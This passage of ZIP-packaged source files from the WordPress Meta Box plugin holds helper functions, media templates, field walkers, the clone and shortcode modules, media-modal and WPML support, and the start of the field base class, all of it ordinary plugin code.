		if ( $echo ) {
			echo $output; // phpcs:ignore WordPress.Security.EscapeOutput
		}

		return $output;
	}
}

if ( ! function_exists( 'rwmb_get_object_fields' ) ) {
	/**
	 * Get defined meta fields for object.
	 *
	 * @param int|string $type_or_id  Object ID or post type / taxonomy (for terms) / user (for users).
	 * @param string     $object_type Object type. Use post, term.
	 *
	 * @return array
	 */
	function rwmb_get_object_fields( $type_or_id, $object_type = 'post' ) {
		$meta_boxes = rwmb_get_registry( 'meta_box' )->get_by( [ 'object_type' => $object_type ] );
		array_walk( $meta_boxes, 'rwmb_check_meta_box_supports', [ $object_type, $type_or_id ] );
		$meta_boxes = array_filter( $meta_boxes );

		$fields = [];
		foreach ( $meta_boxes as $meta_box ) {
			foreach ( $meta_box->fields as $field ) {
				$fields[ $field['id'] ] = $field;
			}
		}

		return $fields;
	}
}

if ( ! function_exists( 'rwmb_check_meta_box_supports' ) ) {
	/**
	 * Check if a meta box supports an object.
	 *
	 * @param  object $meta_box    Meta Box object.
	 * @param  int    $key         Not used.
	 * @param  array  $object_data Object data (type and ID).
	 */
	function rwmb_check_meta_box_supports( &$meta_box, $key, $object_data ) {
		list( $object_type, $type_or_id ) = $object_data;

		$type = null;
		$prop = null;
		switch ( $object_type ) {
			case 'post':
				$type = is_numeric( $type_or_id ) ? get_post_type( $type_or_id ) : $type_or_id;
				$prop = 'post_types';
				break;
			case 'term':
				$type = $type_or_id;
				if ( is_numeric( $type_or_id ) ) {
					$term = get_term( $type_or_id );
					$type = is_wp_error( $term ) || ! $term ? null : $term->taxonomy;
				}
				$prop = 'taxonomies';
				break;
			case 'user':
				$type = 'user';
				$prop = 'user';
				break;
			case 'setting':
				$type = $type_or_id;
				$prop = 'settings_pages';
				break;
		}
		if ( ! $type ) {
			$meta_box = false;
			return;
		}
		if ( isset( $meta_box->meta_box[ $prop ] ) && ! in_array( $type, $meta_box->meta_box[ $prop ], true ) ) {
			$meta_box = false;
		}
	}
}

if ( ! function_exists( 'rwmb_get_registry' ) ) {
	/**
	 * Get the registry by type.
	 * Always return the same instance of the registry.
	 *
	 * @param string $type Registry type.
	 *
	 * @return object
	 */
	function rwmb_get_registry( $type ) {
		static $data = [];

		$class = 'RWMB_' . RWMB_Helpers_String::title_case( $type ) . '_Registry';
		if ( ! isset( $data[ $type ] ) ) {
			$data[ $type ] = new $class();
		}

		return $data[ $type ];
	}
}

if ( ! function_exists( 'rwmb_get_storage' ) ) {
	/**
	 * Get storage instance.
	 *
	 * @param string      $object_type Object type. Use post or term.
	 * @param RW_Meta_Box $meta_box    Meta box object. Optional.
	 * @return RWMB_Storage_Interface
	 */
	function rwmb_get_storage( $object_type, $meta_box = null ) {
		$class   = 'RWMB_' . RWMB_Helpers_String::title_case( $object_type ) . '_Storage';
		$class   = class_exists( $class ) ? $class : 'RWMB_Post_Storage';
		$storage = rwmb_get_registry( 'storage' )->get( $class );

		return apply_filters( 'rwmb_get_storage', $storage, $object_type, $meta_box );
	}
}

if ( ! function_exists( 'rwmb_request' ) ) {
	/**
	 * Get request object.
	 *
	 * @return RWMB_Request
	 */
	function rwmb_request() {
		static $request;
		if ( ! $request ) {
			$request = new RWMB_Request();
		}
		return $request;
	}
}
PK     N\    2  inc/dashboard/lib/meta-box/inc/templates/audio.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-media-item" type="text/html">
	<input type="hidden" name="{{{ data.controller.fieldName }}}" value="{{{ data.id }}}" class="rwmb-media-input">
	<div class="rwmb-media-preview">
		<div class="rwmb-media-content">
			<div class="centered">
				<# if ( 'image' === data.type && data.sizes ) { #>
					<# if ( data.sizes.thumbnail ) { #>
						<img src="{{{ data.sizes.thumbnail.url }}}">
					<# } else { #>
						<img src="{{{ data.sizes.full.url }}}">
					<# } #>
				<# } else { #>
					<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
						<img src="{{ data.image.src }}" />
					<# } else { #>
						<img src="{{ data.icon }}" />
					<# } #>
				<# } #>
			</div>
		</div>
	</div>
	<div class="rwmb-media-info">
		<h4>
			<a href="{{{ data.url }}}" target="_blank" title="{{{ i18nRwmbMedia.view }}}">
				<# if( data.title ) { #> {{{ data.title }}}
					<# } else { #> {{{ i18nRwmbMedia.noTitle }}}
				<# } #>
			</a>
		</h4>
		<p>{{{ data.mime }}}</p>
		<p>
			<a class="rwmb-edit-media" title="{{{ i18nRwmbMedia.edit }}}" href="{{{ data.editLink }}}" target="_blank">
				<span class="dashicons dashicons-edit"></span>{{{ i18nRwmbMedia.edit }}}
			</a>
			<a href="#" class="rwmb-remove-media" title="{{{ i18nRwmbMedia.remove }}}">
				<span class="dashicons dashicons-no-alt"></span>{{{ i18nRwmbMedia.remove }}}
			</a>
		</p>
	</div>
</script>
PK     N\ͱ'  '  2  inc/dashboard/lib/meta-box/inc/templates/media.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-media-item" type="text/html">
	<input type="hidden" name="{{{ data.controller.fieldName }}}" value="{{{ data.id }}}" class="rwmb-media-input">
	<div class="rwmb-file-icon">
		<# if ( data.sizes ) { #>
			<# if ( data.sizes.thumbnail ) { #>
				<img src="{{{ data.sizes.thumbnail.url }}}">
			<# } else { #>
				<img src="{{{ data.sizes.full.url }}}">
			<# } #>
		<# } else { #>
			<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
				<img src="{{ data.image.src }}" />
			<# } else { #>
				<img src="{{ data.icon }}" />
			<# } #>
		<# } #>
	</div>
	<div class="rwmb-file-info">
		<a href="{{{ data.url }}}" class="rwmb-file-title" target="_blank">
			<# if( data.title ) { #>
				{{{ data.title }}}
			<# } else { #>
				{{{ i18nRwmbMedia.noTitle }}}
			<# } #>
		</a>
		<div class="rwmb-file-name">{{{ data.filename }}}</div>
		<div class="rwmb-file-actions">
			<a class="rwmb-edit-media" title="{{{ i18nRwmbMedia.edit }}}" href="{{{ data.editLink }}}" target="_blank">
				{{{ i18nRwmbMedia.edit }}}
			</a>
			<# if( data.file ) { #>
			<a href="#" class="rwmb-remove-media" data-file_id="{{{ data.file.id }}}" title="{{{ i18nRwmbMedia.remove }}}">
				{{{ i18nRwmbMedia.remove }}}
			</a>
			<# } else { #>
			<a href="#" class="rwmb-remove-media" title="{{{ i18nRwmbMedia.remove }}}">
				{{{ i18nRwmbMedia.remove }}}
			</a>
			<# } #>
		</div>
	</div>
</script>

<script id="tmpl-rwmb-media-status" type="text/html">
	<# if ( data.maxFiles > 0 ) { #>
		{{{ data.length }}}/{{{ data.maxFiles }}}
		<# if ( 1 < data.maxFiles ) { #>{{{ i18nRwmbMedia.multiple }}}<# } else {#>{{{ i18nRwmbMedia.single }}}<# } #>
	<# } #>
</script>

<script id="tmpl-rwmb-media-button" type="text/html">
	<a class="button">{{{ data.text }}}</a>
</script>
PK     N\㒜     2  inc/dashboard/lib/meta-box/inc/templates/video.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-video-item" type="text/html">
	<input type="hidden" name="{{{ data.controller.fieldName }}}" value="{{{ data.id }}}" class="rwmb-media-input">
	<# if( _.indexOf( i18nRwmbVideo.extensions, data.url.substr( data.url.lastIndexOf('.') + 1 ) ) > -1 ) { #>
		<video controls="controls" class="rwmb-video-element" preload="metadata"
			<# if ( data.width ) { #>width="{{ data.width }}"<# } #>
			<# if ( data.height ) { #>height="{{ data.height }}"<# } #>
			<# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>>
			<source type="{{ data.mime }}" src="{{ data.url }}"/>
		</video>
	<# } else { #>
		<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
			<img src="{{ data.image.src }}" />
		<# } else { #>
			<img src="{{ data.icon }}" />
		<# } #>
	<# } #>
	<div class="rwmb-media-info">
		<a href="{{{ data.url }}}" class="rwmb-file-title" target="_blank">
			<# if( data.title ) { #>
				{{{ data.title }}}
			<# } else { #>
				{{{ i18nRwmbMedia.noTitle }}}
			<# } #>
		</a>
		<div class="rwmb-file-name">{{{ data.filename }}}</div>
		<div class="rwmb-media-actions">
			<a class="rwmb-edit-media" title="{{{ i18nRwmbMedia.edit }}}" href="{{{ data.editLink }}}" target="_blank">
				{{{ i18nRwmbMedia.edit }}}
			</a>
			<a href="#" class="rwmb-remove-media" title="{{{ i18nRwmbMedia.remove }}}">
				{{{ i18nRwmbMedia.remove }}}
			</a>
		</div>
	</div>
</script>
PK     N\K"    3  inc/dashboard/lib/meta-box/inc/templates/upload.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-upload-area" type="text/html">
	<div class="rwmb-upload-inside">
		<h3>{{{ i18nRwmbMedia.uploadInstructions }}}</h3>
		<p>{{{ i18nRwmbMedia.or }}}</p>
		<button type="button" class="rwmb-browse-button browser button button-hero" id="{{{ _.uniqueId( 'rwmb-upload-browser-') }}}">{{{ i18nRwmbMedia.select }}}</button>
	</div>
</script>
PK     N\h8BMg  g  ;  inc/dashboard/lib/meta-box/inc/templates/image-advanced.phpnu [        <?php defined( 'ABSPATH' ) || die ?>

<script id="tmpl-rwmb-image-item" type="text/html">
	<input type="hidden" name="{{{ data.controller.fieldName }}}" value="{{{ data.id }}}" class="rwmb-media-input">
	<div class="rwmb-file-icon">
		<# if ( 'image' === data.type && data.sizes ) { #>
			<# if ( data.sizes[data.controller.imageSize] ) { #>
				<img src="{{{ data.sizes[data.controller.imageSize].url }}}">
			<# } else { #>
				<img src="{{{ data.sizes.full.url }}}">
			<# } #>
		<# } else { #>
			<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
				<img src="{{ data.image.src }}" />
			<# } else { #>
				<img src="{{ data.icon }}" />
			<# } #>
		<# } #>
	</div>
	<div class="rwmb-image-overlay"></div>
	<div class="rwmb-image-actions">
		<a class="rwmb-image-edit rwmb-edit-media" title="{{{ i18nRwmbMedia.edit }}}" href="{{{ data.editLink }}}" target="_blank">
			<span class="dashicons dashicons-edit"></span>
		</a>
		<a href="#" class="rwmb-image-delete rwmb-remove-media" title="{{{ i18nRwmbMedia.remove }}}">
			<span class="dashicons dashicons-no-alt"></span>
		</a>
	</div>
</script>
PK     N\kO*    (  inc/dashboard/lib/meta-box/inc/clone.phpnu [        <?php
/**
 * The clone module, allowing users to clone (duplicate) fields.
 */
class RWMB_Clone {
	public static function html( array $meta, array $field ) : string {
		$field_html = '';

		foreach ( $meta as $index => $sub_meta ) {
			$sub_field               = $field;
			$sub_field['field_name'] = $field['field_name'] . "[{$index}]";
			if ( $index > 0 ) {
				if ( isset( $sub_field['address_field'] ) ) {
					$sub_field['address_field'] = $field['address_field'] . "_{$index}";
				}
				$sub_field['id'] = $field['id'] . "_{$index}";

				if ( ! empty( $sub_field['attributes']['id'] ) ) {
					$sub_field['attributes']['id'] = $sub_field['attributes']['id'] . "_{$index}";
				}
			}

			if ( in_array( $sub_field['type'], [ 'file', 'image' ], true ) ) {
				$sub_field['input_name']  = '_file_' . uniqid();
				$sub_field['index_name'] .= "[{$index}]";
			} elseif ( $field['multiple'] ) {
				$sub_field['field_name'] .= '[]';
			}

			// Wrap field HTML in a div with class="rwmb-clone" if needed.
			$class     = "rwmb-clone rwmb-{$field['type']}-clone";
			$sort_icon = '';
			if ( $field['sort_clone'] ) {
				$class    .= ' rwmb-sort-clone';
				$sort_icon = "<a href='javascript:;' class='rwmb-clone-icon'></a>";
			}
			$input_html = "<div class='$class'>" . $sort_icon;

			// Call separated methods for displaying each type of field.
			$input_html .= RWMB_Field::call( $sub_field, 'html', $sub_meta );
			$input_html  = RWMB_Field::filter( 'html', $input_html, $sub_field, $sub_meta );

			// Remove clone button.
			$input_html .= self::remove_clone_button( $sub_field );
			$input_html .= '</div>';

			$field_html .= $input_html;
		}

		return $field_html;
	}

	/**
	 * Set value of meta before saving into database
	 *
	 * @param mixed $new       The submitted meta value.
	 * @param mixed $old       The existing meta value.
	 * @param int   $object_id The object ID.
	 * @param array $field     The field parameters.
	 *
	 * @return mixed
	 */
	public static function value( $new, $old, $object_id, array $field ) {
		if ( ! is_array( $new ) ) {
			$new = [];
		}

		if ( in_array( $field['type'], [ 'file', 'image' ], true ) ) {
			$new = RWMB_File_Field::clone_value( $new, $old, $object_id, $field );
		} else {
			foreach ( $new as $key => $value ) {
				$old_value   = $old[ $key ] ?? null;
				$value       = RWMB_Field::call( $field, 'value', $value, $old_value, $object_id );
				$new[ $key ] = RWMB_Field::filter( 'sanitize', $value, $field, $old_value, $object_id );
			}
		}

		// Remove empty clones.
		$new = array_filter( $new, 'RWMB_Helpers_Value::is_valid_for_field' );

		// Reset indexes.
		$new = array_values( $new );

		return $new;
	}

	public static function add_clone_button( array $field ) : string {
		if ( ! $field['clone'] ) {
			return '';
		}
		$text = RWMB_Field::filter( 'add_clone_button_text', $field['add_button'], $field );
		return '<a href="#" class="rwmb-button button-primary add-clone">' . esc_html( $text ) . '</a>';
	}

	public static function remove_clone_button( array $field ) : string {
		$text = RWMB_Field::filter( 'remove_clone_button_text', '<span class="dashicons dashicons-dismiss"></span>', $field );
		return '<a href="#" class="rwmb-button remove-clone">' . $text . '</a>';
	}
}
PK     N\    1  inc/dashboard/lib/meta-box/inc/walkers/select.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Select walker select fields.
 */
class RWMB_Walker_Select extends RWMB_Walker_Base {
	/**
	 * Start the element output.
	 *
	 * @see Walker::start_el()
	 *
	 * @param string $output            Passed by reference. Used to append additional content.
	 * @param object $object            The data object.
	 * @param int    $depth             Depth of the item.
	 * @param array  $args              An array of additional arguments.
	 * @param int    $current_object_id ID of the current item.
	 */
	public function start_el( &$output, $object, $depth = 0, $args = [], $current_object_id = 0 ) {
		$indent = str_repeat( '&nbsp;', $depth * 4 );

		$output .= sprintf(
			'<option value="%s" %s>%s%s</option>',
			esc_attr( $object->value ),
			selected( in_array( $object->value, $this->meta ), true, false ),
			$indent,
			esc_html( $object->label )
		);
	}
}
PK     N\Nm  m  5  inc/dashboard/lib/meta-box/inc/walkers/input-list.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The input list walker for checkbox and radio list fields.
 */
class RWMB_Walker_Input_List extends RWMB_Walker_Base {
	/**
	 * Starts the list before the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int    $depth  Depth of the item.
	 * @param array  $args   An array of additional arguments.
	 */
	public function start_lvl( &$output, $depth = 0, $args = [] ) {
		$output .= '<fieldset class="rwmb-input-list">';
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int    $depth  Depth of the item.
	 * @param array  $args   An array of additional arguments.
	 */
	public function end_lvl( &$output, $depth = 0, $args = [] ) {
		$output .= '</fieldset>';
	}

	/**
	 * Start the element output.
	 *
	 * @param string $output            Passed by reference. Used to append additional content.
	 * @param object $object            The data object.
	 * @param int    $depth             Depth of the item.
	 * @param array  $args              An array of additional arguments.
	 * @param int    $current_object_id ID of the current item.
	 */
	public function start_el( &$output, $object, $depth = 0, $args = [], $current_object_id = 0 ) {
		$attributes = RWMB_Field::call( 'get_attributes', $this->field, $object->value );

		$output .= sprintf(
			'<label><input %s %s>%s</label>',
			RWMB_Field::render_attributes( $attributes ),
			checked( in_array( $object->value, $this->meta ), true, false ),
			$object->label
		);
	}
}
PK     N\R    6  inc/dashboard/lib/meta-box/inc/walkers/select-tree.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Select tree walker for cascading select fields.
 */
class RWMB_Walker_Select_Tree {
	/**
	 * Field settings.
	 *
	 * @var array
	 */
	public $field;

	/**
	 * Field meta value.
	 *
	 * @var array
	 */
	public $meta;

	/**
	 * Constructor.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $meta  Meta value.
	 */
	public function __construct( $field, $meta ) {
		$this->field = $field;
		$this->meta  = (array) $meta;
	}

	/**
	 * Display array of elements hierarchically.
	 *
	 * @param array $options An array of options.
	 *
	 * @return string
	 */
	public function walk( $options ) {
		$children = [];

		foreach ( $options as $option ) {
			$parent                = $option->parent ?? 0;
			$children[ $parent ][] = $option;
		}

		$top_level = isset( $children[0] ) ? 0 : $options[0]->parent;
		return $this->display_level( $children, $top_level, true );
	}

	/**
	 * Display a hierarchy level.
	 *
	 * @param array $options   An array of options.
	 * @param int   $parent_id Parent item ID.
	 * @param bool  $active    Whether to show or hide.
	 *
	 * @return string
	 */
	public function display_level( $options, $parent_id = 0, $active = false ) {
		$field      = $this->field;
		$walker     = new RWMB_Walker_Select( $field, $this->meta );
		$attributes = RWMB_Field::call( 'get_attributes', $field, $this->meta );

		$children = $options[ $parent_id ];
		$output   = sprintf(
			'<div class="rwmb-select-tree %s" data-parent-id="%s"><select %s>',
			$active ? '' : 'hidden',
			esc_attr( $parent_id ),
			RWMB_Field::render_attributes( $attributes )
		);
		$output  .= $field['placeholder'] ? "<option value=''>{$field['placeholder']}</option>" : '<option></option>';
		$output  .= $walker->walk( $children, - 1 );
		$output  .= '</select>';

		foreach ( $children as $child ) {
			if ( isset( $options[ $child->value ] ) ) {
				$output .= $this->display_level( $options, $child->value, in_array( $child->value, $this->meta ) && $active );
			}
		}

		$output .= '</div>';
		return $output;
	}
}
PK     N\Ew<a  a  /  inc/dashboard/lib/meta-box/inc/walkers/base.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Base walker.
 * Walkers must inherit this class and overwrite methods with its own.
 */
abstract class RWMB_Walker_Base extends Walker {
	/**
	 * Field settings.
	 *
	 * @var array
	 */
	public $field;

	/**
	 * Field meta data.
	 *
	 * @var array
	 */
	public $meta;

	/**
	 * Constructor.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $meta  Meta value.
	 */
	public function __construct( $field, $meta ) {
		$this->db_fields = [
			'id'     => 'value',
			'parent' => 'parent',
		];

		$this->field = $field;
		$this->meta  = (array) $meta;
	}
}
PK     N\}/
  /
  ,  inc/dashboard/lib/meta-box/inc/shortcode.phpnu [        <?php
use MetaBox\Support\Arr;

class RWMB_Shortcode {
	public function init() {
		add_shortcode( 'rwmb_meta', [ $this, 'register_shortcode' ] );
	}

	public function register_shortcode( $atts ) {
		$atts = wp_parse_args( $atts, [
			'id'                => '',
			'object_id'         => null,
			'attribute'         => '',
			'render_shortcodes' => 'true',
		] );
		Arr::change_key( $atts, 'post_id', 'object_id' );
		Arr::change_key( $atts, 'meta_key', 'id' );

		if ( empty( $atts['id'] ) ) {
			return '';
		}

		$field_id  = $atts['id'];
		$object_id = $atts['object_id'];
		
		unset( $atts['id'], $atts['object_id'] );

		$value = $this->get_value( $field_id, $object_id, $atts );
		$value = 'true' === $atts['render_shortcodes'] ? do_shortcode( $value ) : $value;

		$secure = apply_filters( 'rwmb_meta_shortcode_secure', true, $field_id, $atts, $object_id );
		$secure = apply_filters( "rwmb_meta_shortcode_secure_{$field_id}", $secure, $atts, $object_id );

		if ( $secure ) {
			$value = wp_kses_post( $value );
		}

		return $value;
	}

	private function get_value( $field_id, $object_id, $atts ) {
		// If we pass object_id via shortcode, we need to make sure current user 
		// has permission to view the object
		if ( ! is_null ( $object_id ) ) {
			$has_object_permission = $this->check_object_permission( $object_id, $atts );
			
			if ( ! $has_object_permission ) {
				return null;
			}
		}

		$attribute = $atts['attribute'];
		if ( ! $attribute ) {
			return rwmb_the_value( $field_id, $atts, $object_id, false );
		}

		$value = rwmb_get_value( $field_id, $atts, $object_id );

		if ( ! is_array( $value ) && ! is_object( $value ) ) {
			return $value;
		}

		if ( is_object( $value ) ) {
			return $value->$attribute;
		}

		if ( isset( $value[ $attribute ] ) ) {
			return $value[ $attribute ];
		}

		$value = wp_list_pluck( $value, $attribute );
		$value = implode( ',', array_filter( $value ) );

		return $value;
	}

	private function check_object_permission( $object_id, $atts ) {
		// Skip checking if object_type is not post
		if ( isset( $atts['object_type'] ) && $atts['object_type'] !== 'post' ) {
			return true;
		}

		$post = get_post( $object_id );
		if ( ! $post ) {
			return false;
		}

		// Skip checking if post status is publish AND no password is set
		if ( 'publish' === $post->post_status && ! post_password_required( $post ) ) {
			return true;
		}

		$object_type = get_post_type_object( $post->post_type );
		if ( ! $object_type ) {
			return false;
		}

		$read_post = $object_type->cap->read_post;

		return current_user_can( $read_post, $object_id );
	}
}
PK     N\L}$X  X  .  inc/dashboard/lib/meta-box/inc/media-modal.phpnu [        <?php
/**
 * Add support for editing attachment custom fields in the media modal.
 */
class RWMB_Media_Modal {
	/**
	 * List of custom fields.
	 *
	 * @var array
	 */
	protected $fields = [];

	public function init() {
		// Meta boxes are registered at priority 20, so we use 30 to capture them all.
		add_action( 'init', [ $this, 'get_fields' ], 30 );

		add_filter( 'attachment_fields_to_edit', [ $this, 'add_fields' ], 11, 2 );
		add_filter( 'attachment_fields_to_save', [ $this, 'save_fields' ], 11, 2 );
	}

	public function get_fields() {
		$meta_boxes = rwmb_get_registry( 'meta_box' )->all();
		foreach ( $meta_boxes as $meta_box ) {
			if ( $this->is_in_modal( $meta_box->meta_box ) ) {
				$this->fields = array_merge( $this->fields, array_values( $meta_box->fields ) );
			}
		}
	}

	/**
	 * Add fields to the attachment edit popup.
	 *
	 * @param array   $form_fields An array of attachment form fields.
	 * @param WP_Post $post The WP_Post attachment object.
	 *
	 * @return mixed
	 */
	public function add_fields( $form_fields, $post ) {
		if ( empty( $post ) || $this->is_attachment_edit_screen() ) {
			return $form_fields;
		}

		foreach ( $this->fields as $field ) {
			$form_field          = $field;
			$form_field['label'] = $field['name'];
			$form_field['input'] = 'html';

			// Just ignore the field 'std' because there's no way to check it.
			$meta                = RWMB_Field::call( $field, 'meta', $post->ID, true );
			$form_field['value'] = $meta;

			$field['field_name'] = 'attachments[' . $post->ID . '][' . $field['field_name'] . ']';

			ob_start();
			$field['name'] = ''; // Don't show field label as it's already handled by WordPress.

			RWMB_Field::call( 'show', $field, true, $post->ID );

			// For MB Custom Table to flush data from the cache to the database.
			do_action( 'rwmb_flush_data', $post->ID, $field, [] );

			$form_field['html'] = ob_get_clean();

			$form_fields[ $field['id'] ] = $form_field;
		}

		return $form_fields;
	}

	/**
	 * Save custom fields.
	 *
	 * @param array $post An array of post data.
	 * @param array $attachment An array of attachment metadata.
	 *
	 * @return array
	 */
	public function save_fields( $post, $attachment ) {
		foreach ( $this->fields as $field ) {
			$key = $field['id'];

			$old = RWMB_Field::call( $field, 'raw_meta', $post['ID'] );
			$new = isset( $attachment[ $key ] ) ? $attachment[ $key ] : '';

			$new = RWMB_Field::process_value( $new, $post['ID'], $field );

			// Call defined method to save meta value, if there's no methods, call common one.
			RWMB_Field::call( $field, 'save', $new, $old, $post['ID'] );

			// For MB Custom Table to flush data from the cache to the database.
			do_action( 'rwmb_flush_data', $post['ID'], $field, [] );
		}

		return $post;
	}

	private function is_in_modal( array $meta_box ): bool {
		return in_array( 'attachment', $meta_box['post_types'], true ) && ! empty( $meta_box['media_modal'] );
	}

	private function is_attachment_edit_screen(): bool {
		if ( ! function_exists( 'get_current_screen' ) ) {
			return false;
		}

		$screen = get_current_screen();

		return $screen && $screen->id === 'attachment';
	}
}
PK     N\{F
  
  '  inc/dashboard/lib/meta-box/inc/core.phpnu [        <?php
class RWMB_Core {
	public function init() {
		add_action( 'init', [ $this, 'load_textdomain' ] );

		add_filter( 'plugin_action_links_meta-box/meta-box.php', [ $this, 'plugin_links' ], 20 );

		// Uses priority 20 to support custom port types registered using the default priority.
		add_action( 'init', [ $this, 'register_meta_boxes' ], 20 );
		add_action( 'edit_page_form', [ $this, 'fix_page_template' ] );
		$this->add_context_hooks();
	}

	public function load_textdomain() {
		unload_textdomain( 'meta-box' );
		load_plugin_textdomain( 'meta-box', false, plugin_basename( RWMB_DIR ) . '/languages/' );
	}

	public function plugin_links( array $links ) : array {
		$links[] = '<a href="https://docs.metabox.io">' . esc_html__( 'Docs', 'meta-box' ) . '</a>';
		return $links;
	}

	public function register_meta_boxes() {
		$configs  = apply_filters( 'rwmb_meta_boxes', [] );
		$registry = rwmb_get_registry( 'meta_box' );

		foreach ( $configs as $config ) {
			if ( ! is_array( $config ) || empty( $config ) ) {
				continue;
			}
			$meta_box = $registry->make( $config );
			$meta_box->register_fields();
		}
	}

	/**
	 * WordPress will prevent post data saving if a page template has been selected that does not exist.
	 * This is especially a problem when switching themes, and old page templates are in the post data.
	 * Unset the page template if the page does not exist to allow the post to save.
	 */
	public function fix_page_template( WP_Post $post ) {
		$template       = get_post_meta( $post->ID, '_wp_page_template', true );
		$page_templates = wp_get_theme()->get_page_templates();

		// If the template doesn't exists, remove the data to allow WordPress to save.
		if ( ! isset( $page_templates[ $template ] ) ) {
			delete_post_meta( $post->ID, '_wp_page_template' );
		}
	}

	/**
	 * Get registered meta boxes via a filter.
	 * @deprecated No longer used. Keep for backward-compatibility with extensions.
	 */
	public static function get_meta_boxes() : array {
		$meta_boxes = rwmb_get_registry( 'meta_box' )->all();
		return wp_list_pluck( $meta_boxes, 'meta_box' );
	}

	public function add_context_hooks() {
		$hooks = [
			'edit_form_top',
			'edit_form_after_title',
			'edit_form_after_editor',
			'edit_form_before_permalink',
		];

		foreach ( $hooks as $hook ) {
			add_action( $hook, [ $this, 'render_meta_boxes_for_context' ] );
		}
	}

	public function render_meta_boxes_for_context( $post ) {
		$hook    = current_filter();
		$context = 'edit_form_top' === $hook ? 'form_top' : substr( $hook, 10 );
		do_meta_boxes( null, $context, $post );
	}
}
PK     N\u LL    '  inc/dashboard/lib/meta-box/inc/wpml.phpnu [        <?php
/**
 * The WPML compatibility module, allowing all fields are translatable by WPML plugin.
 */
class RWMB_WPML {
	/**
	 * List of fields that need to translate values (because they're saved as IDs).
	 *
	 * @var array
	 */
	protected $field_types = [ 'post', 'taxonomy_advanced' ];

	public function init() {
		/**
		 * Run before meta boxes are registered so it can modify fields.
		 *
		 * @see modify_field()
		 */
		add_action( 'init', [ $this, 'register_hooks' ], 9 );
	}

	public function register_hooks() {
		if ( ! defined( 'ICL_SITEPRESS_VERSION' ) ) {
			return;
		}
		add_filter( 'wpml_duplicate_generic_string', [ $this, 'translate_ids' ], 10, 3 );
		add_filter( 'rwmb_normalize_field', [ $this, 'modify_field' ] );
	}

	/**
	 * Translating IDs stored as field values upon WPML post/page duplication.
	 *
	 * @param mixed  $value           Meta value.
	 * @param string $target_language Target language.
	 * @param array  $meta_data       Meta arguments.
	 * @return mixed
	 */
	public function translate_ids( $value, $target_language, $meta_data ) {
		if ( 'custom_field' !== $meta_data['context'] ) {
			return $value;
		}

		$field = rwmb_get_registry( 'field' )->get( $meta_data['key'], get_post_type( $meta_data['master_post_id'] ) );
		if ( false === $field || ! in_array( $field['type'], $this->field_types, true ) ) {
			return $value;
		}

		// Object type needed for WPML filter differs between fields.
		$object_type = 'taxonomy_advanced' === $field['type'] ? $field['taxonomy'] : $field['post_type'];

		// Translating values, whether are stored as comma separated strings or not.
		if ( ! str_contains( $value, ',' ) ) {
			$value = apply_filters( 'wpml_object_id', $value, $object_type, true, $target_language );
			return $value;
		}

		// Dealing with IDs stored as comma separated strings.
		$translated_values = [];
		$values            = explode( ',', $value );

		foreach ( $values as $v ) {
			$translated_values[] = apply_filters( 'wpml_object_id', $v, $object_type, true, $target_language );
		}

		$value = implode( ',', $translated_values );
		return $value;
	}

	/**
	 * Modified field depends on its translation status.
	 * If the post is a translated version of another post and the field is set to:
	 * - Do not translate: hide the field.
	 * - Copy: make it disabled so users cannot edit.
	 * - Translate: do nothing.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return mixed
	 */
	public function modify_field( $field ) {
		global $wpml_post_translations;

		if ( empty( $field['id'] ) ) {
			return $field;
		}

		// Get post ID.
		$request = rwmb_request();
		$post_id = $request->filter_get( 'post', FILTER_SANITIZE_NUMBER_INT );
		if ( ! $post_id ) {
			$post_id = $request->filter_post( 'post_ID', FILTER_SANITIZE_NUMBER_INT );
		}

		// If the post is the original one: do nothing.
		if ( ! method_exists( $wpml_post_translations, 'get_source_lang_code' ) || ! $wpml_post_translations->get_source_lang_code( $post_id ) ) {
			return $field;
		}

		// Get setting for the custom field translation.
		$custom_fields_translation = apply_filters( 'wpml_sub_setting', false, 'translation-management', 'custom_fields_translation' );
		if ( ! isset( $custom_fields_translation[ $field['id'] ] ) ) {
			return $field;
		}

		$setting = intval( $custom_fields_translation[ $field['id'] ] );
		if ( 0 === $setting ) {           // Do not translate: hide it.
			$field['class'] .= ' hidden';
		} elseif ( 1 === $setting ) {     // Copy: disable editing.
			$field['disabled'] = true;
		}

		return $field;
	}
}
PK     N\#F@  @  5  inc/dashboard/lib/meta-box/inc/interfaces/storage.phpnu [        <?php
/**
 * Storage interface.
 */
interface RWMB_Storage_Interface {
	/**
	 * Get value from storage.
	 *
	 * @param  int    $object_id Object id.
	 * @param  string $name      Field name.
	 * @param  array  $args      Custom arguments..
	 * @return mixed
	 */
	public function get( $object_id, $name, $args = [] );
}
PK     N\P J  J  (  inc/dashboard/lib/meta-box/inc/field.phpnu [        <?php
use MetaBox\Support\Arr;

/**
 * The field base class.
 * This is the parent class of all custom fields defined by the plugin, which defines all the common methods.
 * Fields must inherit this class and overwrite methods with its own.
 */
abstract class RWMB_Field {
	public static function add_actions() {}

	public static function admin_enqueue_scripts() {}

	/**
	 * Show field HTML
	 * Filters are put inside this method, not inside methods such as "meta", "html", "begin_html", etc.
	 * That ensures the returned value are always been applied filters.
	 * This method is not meant to be overwritten in specific fields.
	 *
	 * @param array $field   Field parameters.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param int   $post_id Post ID.
	 */
	public static function show( array $field, bool $saved, $post_id = 0 ) {
		$meta = self::call( $field, 'meta', $post_id, $saved );
		$meta = self::filter( 'field_meta', $meta, $field, $saved );

